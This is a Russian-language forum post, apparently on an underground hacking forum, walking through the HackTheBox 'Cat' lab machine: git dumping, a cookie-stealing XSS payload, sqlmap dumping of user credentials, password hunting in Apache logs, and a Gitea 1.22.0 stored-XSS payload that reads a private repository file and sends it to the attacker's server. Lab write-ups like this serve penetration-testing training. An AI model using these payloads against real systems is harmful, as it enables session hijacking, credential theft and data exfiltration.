• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Получаем приватные данные через XSS в Gitea

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,167
Розыгрыши
0
Реакции
508
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу процесс эксплуатации двух XSS-уязвимостей: сначала в веб‑приложении, что позволит нам получить сессию администратора, а затем — в репозитории Gitea, чтобы повысить привилегии в Linux. Также нам понадобится использовать SQL-инъекцию, чтобы получить учетные данные приложения.
Наша конечная цель — получение прав суперпользователя на машине Cat с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень ее сложности — средний.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютера, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.53 cat.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Оно позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер нашел два открытых порта:

  • 22 — служба OpenSSH 7.9p1;
  • 80 — веб‑сервер Apache 2.4.38.
В отчете сканирования видим обнаруженный в корневом каталоге репозиторий .git.

Главная страница сайта
Главная страница сайта

Точка входа​

Скачаем весь репозиторий на локальную машину с помощью Для просмотра ссылки Войди или Зарегистрируйся.

git-dumper [URL]http://cat.htb[/URL] cat
Копирование репозитория
Копирование репозитория

Открываем каталог с репозиторием в VS Code и смотрим историю коммитов. Находим всего один коммит, а значит, никаких «старых» и «тестовых» учетных данных мы не получим.

Для просмотра ссылки Войди или Зарегистрируйся
Но заполучить исходный код веб‑приложения — уже большая удача. Изучим интерфейс сайта, чтобы отметить интересные страницы и функции. В файле vote.php реализовано голосование за котов.

Содержимое страницы vote.php
Содержимое страницы vote.php
Также мы можем зарегистрироваться на сайте. Как правило, авторизованному пользователю доступно больше функций, чем обычному посетителю.

Страница авторизации
Страница авторизации

Точка опоры​

Перейдем к анализу исходного кода. В файле join.php содержится обработчик запросов регистрации и авторизации. Переданные данные (например, имя пользователя) сохраняются в базе без проверок и изменений.

Содержимое файла join.php
Содержимое файла join.php

В файле accept_cat.php данные, полученные в POST-параметре catName, передаются непосредственно в SQL-запрос к базе данных (строка 10). Однако проэксплуатировать эту SQL-инъекцию мы можем только от имени пользователя axel (строка 5).

Содержимое файла accept_cat.php
Содержимое файла accept_cat.php

Запустим веб‑сервер на своей машине:

python3 -m http.server
И зарегистрируем пользователя, в имени которого впишем обычную нагрузку XSS, передающую на наш сервер куки пользователя.

asd<script>fetch('Для просмотра ссылки Войди или Зарегистрируйся</script>
Форма регистрации
Форма регистрации

Затем на странице Contest зарегистрируем кота. Если администратор рассматривает заявки, наша нагрузка должна будет сработать.

Форма регистрации
Форма регистрации

В течение нескольких секунд в логах веб‑сервера появится запрос с идентификатором сессии администратора.

Логи веб-сервера
Логи веб‑сервера
Открываем панель разработчика в браузере, переходим к локальному хранилищу и вписываем полученные куки.

Панель разработчика
Панель разработчика

Обновляем страницу и видим, что появилось меню администратора, а значит, куки применились.

Страница администратора
Страница администратора

SQL-инъекция​

У нас есть сессия администратора, перейдем к эксплуатации SQL-инъекции. Для этого будем использовать Для просмотра ссылки Войди или Зарегистрируйся.

info​

Подробнее о том, что такое SQL-инъекции, и как они работают, читай в статье «Для просмотра ссылки Войди или Зарегистрируйся».
Передаем утилите URL (параметр -u), данные (--data), идентификатор сессии в --cookie, а также уязвимый параметр (-p). Чтобы на каждый вопрос от sqlmap выбирался ответ по умолчанию, необходимо задать флаг --batch. Чтобы сразу получить имена всех таблиц, добавим флаг --tables.

sqlmap -u '[URL]http://cat.htb/accept_cat.php[/URL]' --data="catId=123&catName=asd" --cookie='PHPSESSID=lpgf9osmou0p44q9a3e6a7qn13' -p "catName" --level=5 --risk=3 --dbms=SQLite --tables --batch
Обнаруженная нагрузка
Обнаруженная нагрузка
Спустя несколько минут sqlmap отобразит найденную нагрузку для уязвимости и начнет подбирать имена таблиц.

Таблицы в базе данных
Таблицы в базе данных
Теперь сдампим из таблицы users все данные (параметры -T users --dump). Чтобы ускорить получение данных, установим количество потоков равное 10 (--threads).

sqlmap -u '[URL]http://cat.htb/accept_cat.php[/URL]' --data="catId=123&catName=asd" --cookie='PHPSESSID=n149qi44a4ovss1qmdbm32a59g' -p "catName" --level=5 --risk=3 --threads 10 --dbms=SQLite -T users --dump --batch
Данные в таблице users
Данные в таблице users

На сайте Для просмотра ссылки Войди или Зарегистрируйся можно проверить MD5-хеши по базам. Так получаем пароль пользователя rosa.

Для просмотра ссылки Войди или Зарегистрируйся
С этими учетными данными подключаемся по SSH и получаем сессию пользователя rosa.

Сессия пользователя rosa
Сессия пользователя rosa

Продвижение​

Наш пользователь состоит в группе adm, а значит, может читать многие логи, в том числе и логи веб‑сервера Apache.

ls -la /var/log/apache2/
Содержимое каталога /var/log/apache2/
Содержимое каталога /var/log/apache2/

Проверим, есть ли в логах какие‑то пароли или секреты. Часто бывает полезно пофильтровать по разным интересным подстрокам. Например, pass.

cat /var/log/apache2/* | grep -i pass
Результат фильтрации строк
Результат фильтрации строк
Так находим пароль. Проверим, не является ли он системным. Для этого просмотрим список пользователей системы, у которых есть возможность использовать консоль.

cat /etc/passwd | grep bash
Пользователи с консолью
Пользователи с консолью
Авторизуемся от имени пользователя axel и забираем первый флаг.

Флаг пользователя
Флаг пользователя

Локальное повышение привилегий​

Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в случае с Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе пытаемся найти информацию, которая поможет нам в эскалации привилегий.

Для локального хоста прослушивается порт 3000, а это обычно какое‑то веб‑приложение.

Открытые порты
Открытые порты

У пользователя axel есть входящие сообщения.

Сообщения linux
Сообщения linux

Давай посмотрим их, прочитав файл /var/mail/axel. В сообщении от jobert@localhost говорится о сервисе, связанном с кошками, а также про репозиторий Gitea. При этом отдельно упоминается про четкое описание репозитория, который будет просмотрен. Чтобы это произошло, нужно только прислать пользователю ссылку на репозиторий.

В другом сообщении говорится про систему управления персоналом, доступную в Gitea по такому адресу:

Для просмотра ссылки Войди или Зарегистрируйся
Содержимое файла /var/mail/axel
Содержимое файла /var/mail/axel

Для доступа к Gitea необходимо будет «прокинуть» порт 8080 на свой хост с помощью SSH.

ssh [EMAIL]axel@cat.htb[/EMAIL] -L 3000:127.0.0.1:3000
После этого весь трафик, который мы пошлем на локальный порт 3000, будет туннелирован на порт 3000 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Теперь можем посмотреть на сервис через браузер. Авторизоваться можно от имени пользователя axel. Внизу страницы видим версию Gitea 1.22.0.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Первым делом стоит проверить, есть ли для обнаруженной версии готовые эксплоиты.

Поиск эксплоитов в Google
Поиск эксплоитов в Google

Первая ссылка в Google приводит нас к уязвимости Для просмотра ссылки Войди или Зарегистрируйся, а следом находим Для просмотра ссылки Войди или Зарегистрируйся эксплоита.

В Gitea 1.22.0 есть Stored XSS — в поле description репозиториев. Проверим, есть ли уязвимость в нашей версии. Для этого создадим тестовый репозиторий, в описании которого укажем нагрузку:

<a href=javascript:alert()>XSS test</a>
Затем зайдем в репозиторий и откроем описание.

Создание репозитория
Создание репозитория
Результат работы нагрузки
Результат работы нагрузки

По аналогии создаем новый репозиторий, но используем другую нагрузку. Она будет выполнять запрос к индекс файлу в репозитории системы управления персоналом:

[URL unfurl="true"]http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php[/URL]
Содержимое репозитория кодируем в URLEncode и Base64, после чего отправляем на наш веб‑сервер. Также добавим в репозиторий любой файл.

<a href='javascript:fetch("[URL]http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php[/URL]").then(response=>response.text()).then(data=>fetch("[URL]http://10.10.16.30:8000/?data=[/URL]"+encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));'>Description</a>
Созданный репозиторий
Созданный репозиторий
Осталось отправить по адресу jobert@localhost ссылку на созданный репозиторий. В логах нашего веб‑сервера (python3 -m http.server) увидим запрос.

echo -e "Subject: cve \n\nhttp://localhost:3000/axel/cve" | sendmail jobert@localhost
Логи веб-сервера
Логи веб‑сервера
Декодируем данные из Base64 и в исходном коде index.php находим пароль.

Результат декодирования данных
Результат декодирования данных
Этот пароль подошел к пользователю root.

Флаг рута
Флаг рута
Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу